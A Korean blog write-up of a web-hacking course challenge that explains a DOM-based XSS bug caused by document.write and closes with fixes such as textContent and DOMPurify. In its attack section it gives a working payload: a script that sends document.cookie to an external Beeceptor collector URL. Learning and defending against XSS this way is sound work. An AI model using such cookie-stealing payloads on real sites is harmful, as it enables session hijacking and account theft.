해킹스터디

[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-Challenge

herini0829 2026. 1. 2. 08:35

🕵️ XSS-Challenge 문제 풀이: 브라우저를 속이는 DOM-based XSS

드디어 'XSS'라는 타이틀이 붙은 마지막 문제에 도달했다. 이번 문제는 지금까지 풀었던 문제들과는 결이 조금 달랐다. 서버가 내 입력값을 HTML에 직접 박아넣는 게 아니라, 브라우저가 스스로 내 코드를 실행하게 만드는 방식이었기 때문이다.


1. 삽질의 시작: "Response에 내 값이 없다?"

검색창에 특정 키워드를 입력하면 화면 하단에 'ㅇㅇㅇ'에 대한 검색 결과가 없습니다.라는 메시지가 뜬다. 당연히 서버 응답(Response)에 이 텍스트가 있을 줄 알고 Burp Suite로 확인해봤는데, 아무리 찾아도 내가 입력한 값이 보이질 않았다.

"분명 화면엔 나오는데 왜 패킷엔 없지?" 귀신이 곡할 노릇이었다. 하지만 정답은 엉뚱하게도 소스 코드 안에 숨겨진 자바스크립트에 있었다.


2. 코드 분석: 범인은 document.write

소스 코드를 뜯어보니 아래와 같은 수상한 스크립트가 실행되고 있었다.

내용을 분석해보면 이렇다.

  • URL 파라미터 중 board_result라는 변수의 값을 가져와서 keyword라는 변수에 저장한다.
  • document.getElementById('search_addr').value = keyword;: 검색창에 내가 방금 검색한 내용을 다시 채워넣는다.
  • document.write(keyword + '에 대한 검색 결과가 없습니다.');: (핵심) 페이지 하단에 해당 키워드를 포함한 문구를 직접 써넣는다.

즉, 서버는 그냥 스크립트 뼈대만 던져준 것이고, 실제 화면을 구성하는 건 내 브라우저에서 돌아가는 자바스크립트였던 것이다!


🔍 지식 더하기: 왜 이게 일반 XSS랑 다른가요? (DOM-based XSS)

💡 DOM-based XSS란?
우리가 지금까지 풀었던 대부분의 문제는 서버가 내 입력값을 받아서 HTML 페이지를 만들 때 그 값을 끼워 넣는 Reflected XSS였어. 하지만 이 문제는 서버의 개입 없이, 브라우저에 이미 존재하는 자바스크립트가 URL의 파라미터를 읽어와서 화면(DOM)에 그대로 출력하면서 발생해.

이런 경우 서버는 악성 코드가 포함된 파라미터를 봐도 "그냥 데이터네?" 하고 넘기기 때문에 서버 측 필터링을 우회하기가 훨씬 쉽다는 특징이 있어.

3. 공격 실행 및 성공

원리를 알았으니 공격은 간단하다. keyword 변수에 들어갈 값에 스크립트 태그를 통째로 넣어주면 된다. document.write는 HTML 태그를 있는 그대로 렌더링하기 때문에, 내가 넣은 스크립트가 즉시 실행된다.

페이로드: <script>var i=new Image();i.src='https://[내-Beeceptor-주소]/?c='+document.cookie;</script>

이걸 검색창에 넣고 실행하면, document.write가 실행되는 순간 내 쿠키 정보가 담긴 이미지가 공격자 서버로 요청되게 된다.


💡 보안 분석 및 소감

이번 문제는 "데이터와 코드를 엄격히 분리하지 않았을 때" 발생하는 보안 위협을 잘 보여준다. 개발자가 편의를 위해 사용한 document.writeinnerHTML 같은 함수들이 얼마나 위험한지 깨달을 수 있었다.

✅ 해결책 정리
1. 안전한 함수 사용: document.write 대신 텍스트만 렌더링하는 innerTexttextContent를 사용해야 한다.
2. DOM Purify: 클라이언트 사이드에서도 사용자 입력을 출력하기 전에는 반드시 위험한 태그를 걸러주는 라이브러리를 사용해야 한다.

이로써 XSS 시리즈의 긴 여정이 끝났다! 단순히 스크립트를 주입하는 것을 넘어 서버와 클라이언트의 통신 구조, 브라우저의 렌더링 방식까지 깊게 고민해 볼 수 있었던 좋은 시간이었다. 이제 다음 챌린지로 고고! 😎